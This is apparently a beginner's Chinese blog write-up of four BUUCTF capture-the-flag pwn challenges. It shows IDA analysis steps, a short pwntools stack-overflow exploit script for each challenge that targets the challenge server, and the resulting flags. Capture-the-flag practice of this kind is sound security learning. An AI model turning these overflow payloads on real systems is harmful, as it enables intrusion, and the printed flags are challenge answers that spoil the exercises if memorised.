2022-04-22

rip

下载得到pwn1文件,提示Ubuntu18

我这是Ubuntu16.04

先查看文件
在这里插入图片描述
额,啥也看不出来
还是IDA打开吧
main函数
在这里插入图片
点进s,啥也没发现
在这里插入图片描述搜了一下题解,发现这道题考点是栈溢出
然后这里s应该是15字节

使用pwn库来打开

from pwn import *

p = remote('node4.buuoj.cn', 25857)
payload = b'a' * 23 + p64(0x401186 + 1)
p.sendline(payload)

p.interactive()

Ubuntu不知道为啥pip更新一直出错,换到Debian
在这里插入图片描述
先用ls查看目录,发现flag,用cat打开就好了
flag{5e8aae7b-63f8-40d3-8162-2ca321ee5e2c}

warmup_csaw_2016

依旧是一个文件,依然看不明白
在这里插入图片描述
有位大佬的题解这样分析
在这里插入图片描述Stack是栈,另外两个词不知道啥意思

反正还是用IDA打开一下

打开main函数
在这里插入图片描述
说这个地方,看到返回的是gets函数,一个典型的可以利用栈溢出覆盖的地方
然后可以先查一下字符是shift+F12
在这里插入图片描述
双击跟进
在这里插入图片描述
从这句话后面的函数双击点进去
F5可以看到代码
在这里插入图片描述

其实代码没什么信息,主要是cat flag.txt这句话的地址0400611
而这个地址跟最后输出的gets函数中参数v5的地址不一样
在这里插入图片描述

但是我不太明白代码为啥要加8
但是不加8会错误
![在这里插入图片描述](https://img-blog.csdnimg.cn/60510bd0a6d24c48a9d79d2a045713cf.png

代码

from pwn import *
p = remote('node4.buuoj.cn',27704)
payload=b'a'*(0x40+8)+p64(0x400611)
p.sendline(payload)
p.interactive()

在这里插入图片描述

flag{3fe3fc81-d9c7-4af3-8815-91e0b29bb7b1}

ciscn_2019_n_1

下载附件,查看信息
在这里插入图片描述
IDA打开
打开main函数
在这里插入图片描述
打开fun函数
在这里插入图片描述
这是要输入一个数字,但是要改变另一个变量的值
这次我知道是栈溢出了,而且是v1的值特变大,溢出的部分里到v2的应该就是这里的11.28125了
然后需要先在IDA中找到v1和v2的地址
而且这里开头可以看出两个地方地址的插值
在这里插入图片描述

双击v1
在这里插入图片描述

双击v2
在这里插入图片描述
跟上两道题很相似的代码

from pwn import *
p=remote('node4.buuoj.cn',26933)
payload=b'A'*44+p64(0x41348000)
p.sendline(payload)
p.interactive()          

这次我知道为啥是44了,因为0x2C=44

然后这里并不能直接写加11.28125,浮点数在这里不应该是写作小数的,但是我们不用求,应该可以在IDA中找到

先找到func的地址
在这里插入图片描述可以发现这里跟上面找v1v2地址有一个一样的点,就是其他地方都是db但是有一个地方是dd,这个地方就有这个数的浮点数在内存中的表示形式,也就是41348000h
运行得到
在这里插入图片描述
flag{171555fa-126e-44fe-a577-073fd0c450f4}

pwn1_sctf_2016

差点直接IDA64打开了
在这里插入图片描述
这次是32位的
打开main
在这里插入图片描述
跟进vuln
在这里插入图片描述
😵C++了变成
在这里插入图片描述
我尽力了
这道依旧是栈溢出,但是我没看明白,参考题解

from pwn import*
r=remote('node4.buuoj.cn',25638)
flag_addr=0x8048f0d
payload=b'I'*20+b'aaaa'+p32(flag_addr)
r.sendline(payload)
r.interactive()

在这里插入图片描述
最后运行得到
flag{46f0395f-71ee-463c-a155-68f1ae052f7d}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值